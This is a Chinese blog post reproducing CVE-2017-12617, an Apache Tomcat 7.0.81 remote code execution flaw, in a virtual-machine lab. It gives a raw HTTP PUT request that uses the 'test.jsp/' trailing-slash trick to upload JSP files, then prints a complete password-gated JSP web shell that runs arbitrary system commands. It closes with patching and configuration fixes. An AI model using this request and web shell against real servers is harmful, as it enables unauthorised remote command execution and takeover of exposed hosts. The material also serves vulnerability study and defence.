Tomcat/7.0.81 远程代码执行漏洞复现

Tomcat/7.0.81 远程代码执行漏洞复现

 

参考链接:

http://www.freebuf.com/vuls/150203.html

 

漏洞描述:

CVE-2017-12617

Apache Tomcat是一个流行的开源JSP应用服务器程序。

Apache Tomcat启用HTTP PUT后,攻击者通过构造的请求,可上传任意JSP文件到服务器,造成远程代码执行。

 

具体漏洞实现的原理参考链接里面有介绍,我本来也不是很理解,就不介绍了。

 

漏洞环境:

Win7 64位虚拟机

apache-tomcat-7.0.81-windows-x64  (请在网盘里找对应的名字)

 

 

 

具体复现过程:

这个漏洞需要安装好后,修改 Tomcat 7.0\conf\web.xml 配置文件,增加 readonly 设置为 false ,一定要记得重启下tomcat服务。

 

 

修改以后,运行tomcat,访问运行

 

 

 

这时候通过burp发一个PUT方法的包,在目录处可以添加文件名,freebuf上的大神说7.0.81版本可以用test.jsp/、test.jsp/.,我用下面包测试了一下

 

PUT /test.jsp/ HTTP/1.1
Host: 192.168.198.128:8080
Content-Length: 24

<%out.println("test");%>

 

 

 

 

 

按照大神的思路写的马试试

<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
<%!public static String excuteCmd(String c) 
{
    StringBuilder line = new StringBuilder();
try 
{
    Process pro = Runtime.getRuntime().exec(c);
    BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
    String temp = null;
    while ((temp = buf.readLine()) != null) 
    {
        line.append(temp+"\\n");
    }
    buf.close();
} 
catch (Exception e) 
{
    line.append(e.getMessage());
}
return line.toString();
}
%>
<%
if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd")))
{
    out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");
}
else
{
    out.println(":-)");
}
%>
大神的马

 

 

 

成功执行了

 

 

在虚拟机的tomcat路径下apache-tomcat-7.0.81\webapps\ROOT成功写入文件。

 

修复建议:

  1、将Tomcat更新到该漏洞被修复的版本。

  2、web.xml配置文件readonly init-param设置为true,或是保持默认不设置,则攻击者无法上传文件。

  3、另外,当然也可以在前端(例如WAF)上阻止PUT和DELETE请求。

posted @ 2017-10-13 16:10  时光不改  阅读(4210)  评论(0编辑  收藏  举报